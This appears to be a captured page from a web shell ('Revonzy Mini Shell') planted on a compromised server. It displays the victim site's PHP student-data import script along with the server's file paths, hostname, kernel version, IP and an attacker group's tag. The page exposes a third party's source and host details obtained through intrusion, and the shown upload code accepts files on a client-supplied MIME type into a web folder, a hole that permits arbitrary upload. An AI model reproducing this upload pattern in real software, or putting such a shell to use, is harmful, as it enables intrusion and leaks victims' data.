Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/excel-upload.php

 <?php
require_once('header.php');

require_once('header-left-section.php');
$success_flag="";
$attachement_error="";
?>
<style>
 .form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:10px;
}
</style>
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper"  >
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-12">
            <h1>IMPORT STUDENT EXCEL DATA</h1>
          </div>
          
        </div>
      </div><!-- /.container-fluid -->
    </section>
	
    <!-- Main content -->
	 
 <form method="POST" autocomplete="off" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" >
    <div class="form-group col-lg-12" style="min-height:700px;">
	<section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">

			<?php
				if($success_flag==1)
				{
			?>
				
				<div class="alert alert-success">
				<span class="alert-link">Success! </span>Record added successfully.
				</div>	
			<?php
				}
			?>
					
			<?php
				if($success_flag==2)
				{
			?>
				
				<div class="alert alert-danger">
				<span class="alert-link">Failed! </span>This Record Already Exist.
				</div>	
			<?php
				}
			?>
					
          <div class="card-body">
            <div class="row">
			<div class="form-group col-lg-6">
				<label>Select File:</label>
				<input type="file" class="form-control" name="file" placeholder=" Enter photoimg."  required autofocus />
				<label class="error_indicator"><?php  echo $attachement_error; ?></label>	
			</div>
						
			<div class="form-group col-lg-6" style="text-align:center;">
				<label>-</label> <br />
				<button type="submit" class="btn btn-success" name="save_btn" style="width:30%;">Upload Excel</button>
			</div>
		</div>   
<?php
	error_reporting(E_ERROR | E_PARSE);
	  include 'Classes/PHPExcel/IOFactory.php';

	if(isset($_POST['save_btn']))
	{
		
	?>
	<div style="width:800px; background-color:white; margin:auto;">
	<table class="table table-bordered">
		<thead class="col_head">
			<th class="col_head"width="50">Sr. No</th>
			<th class="col_head"width="100">GR No</th>
			<th class="col_head" width="200">Status</th>
	</thead>
	<tbody>
	<?php
				 
			$file_name = $_FILES['file']['name']; 	
					 // Move file to a temp location
			$uploadDir = 'upload/';

			$img_ext = substr($file_name,-4);
			$name="_".rand(10000,990000).$img_ext;
			$uploadFile = $uploadDir.$name;
				
			$mimes = array('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','application/vnd.ms-excel','text/plain','text/csv');
			
			if(in_array($_FILES['file']['type'],$mimes)){
				// do something
					
					if(file_exists($uploadFile))
					{
						echo "4";
					}
					else
					{
						
						if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
						{
							set_include_path(get_include_path() . PATH_SEPARATOR . 'Classes/');
							//$cnt=1;    
							/** PHPExcel_IOFactory */
							$objPHPExcel = PHPExcel_IOFactory::load($uploadFile);
							$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,true);
							$linecount = count($sheetData);
							echo "\t <tr> \n";
							 for($i = 1; $i <= count($sheetData) ; $i++) {
			//                     for($j = 65; $j < (count($sheetData[$i])+65); $j++) {
			//                         if(!is_null($sheetData[$i][chr($j)])){
			//                             echo $sheetData[$i][chr($j)]."---".$sheetData[$i][chr($j+1)]."<br>";
									// }
			//                     }
			
								$arr = $sheetData[$i];
								$arrVals = array_values($arr);
								
								$roll_no			=	$arrVals[0];
								$no_of_pupil		=	$arrVals[1]; 
								$enroll_no			=	$arrVals[2]; 
								$full_name			=	$arrVals[3];   
								$department			=	$arrVals[4];
								$course				=	$arrVals[5];
								$divisiion			=	$arrVals[6];
								if($full_name!="")
								{
									$date_data7	=	explode(" ",$full_name);
									$surname 		= $date_data7[0];
									$stud_name 		= $date_data7[1];
									$father_name 	= $date_data7[2];
									
								}
					
			$gr_exsit = $db->get_student_exist_id($no_of_pupil);
		
			if($gr_exsit=="")
			{
				//echo $class;
				//echo "<br />";	
				//echo "<br />";	
				if($db->save_student_detail_sample_excel($roll_no,$no_of_pupil,$enroll_no,$surname,$stud_name,$father_name,$department,$course,$divisiion,$acd_year))
				{
					echo "<td>".$i."</td><td>".$no_of_pupil."</td><td><span style='color:Green;'>Record added successfully</span></td>";

					
				}
				else
				{
					echo "<td>".$x."</td> <td>".$roll_no."</td> <td>".$surname." ".$stud_name."</td><td style='color:Orange'> Failed to Add</td>";
					$total_not_updated	=	$total_not_updated + 1;
				}
			}
			else
			{
				echo "<td>".$i."</td><td>".$no_of_pupil."</td><td><span style='color:red;'>Registration GR No already exist</span></td>";

			}
									
			echo "\t</tr>\n";						
							}
							 echo "<script>
									alert('Uploaded Successfully');
								</script>";           
							
						}
					  
					}
					
			} 
		?>
		</tbody>
		</table>
		</div>
		<?php
		}			
		?>		

	</div>
   </div>
 </div>
 </div>
 </section>
 </div>
 </form>
  <?php
require_once('footer.php');
?> 

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4